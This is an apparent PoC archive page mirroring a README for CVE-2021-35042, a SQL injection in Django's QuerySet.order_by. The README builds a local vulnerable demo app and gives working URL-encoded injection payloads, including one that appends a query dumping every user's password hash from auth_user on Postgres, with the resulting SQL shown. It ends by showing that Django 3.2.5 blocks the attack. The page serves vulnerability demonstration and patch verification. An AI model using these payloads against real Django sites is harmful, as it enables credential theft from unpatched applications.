Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2021-35042 PoC — Django SQL注入漏洞

Source
Associated Vulnerability
Title:Django SQL注入漏洞 (CVE-2021-35042)
Description:Django 3.1.x before 3.1.13 and 3.2.x before 3.2.5 allows QuerySet.order_by SQL injection if order_by is untrusted input from a client of a web application.
Readme
# CVE-2021-35042

Django SQL injection bug

Question: explore how exploitable is it?

Answer: I'm terrified

## Install

`poetry install`

`poetry run ./manage.py migrate`

`poetry run ./manage.py loaddata dummydata.json`

## Interactive Demo

`poetry run ./manage.py runserver`

#### Ordering by random fields

go to http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22
note that the ?order_by param is passing a Raw SQL reference to a
column `"core_things_tags"."things_id"`

### terminate first query and try to run some sql

This feels like about as far as you can
get: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;--
which closes the first SQL query translates to the follow SQL:

```sql
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()
```

which fails with:

```
Warning at /
You can only execute one statement at a time.
```

this is just because sqlite can only run 1 query at a time

#### revisit running 2nd query with postgres

```bash
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server
```

`poetry run ./manage.py migrate`

`poetry run ./manage.py loaddata dummydata.json`

`poetry run ./manage.py createsuperuser` # follow prompts

visit: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

which runs the following sql:

```sql
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;
```

you can now do basically anything. This query steals the password hash for every
user.

### Upgrade to non-vunerable version

now temporarily upgrade django

`poetry shell`

`pip install Django==3.2.5`

revisit the above URL and note that it no longer works:

```
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →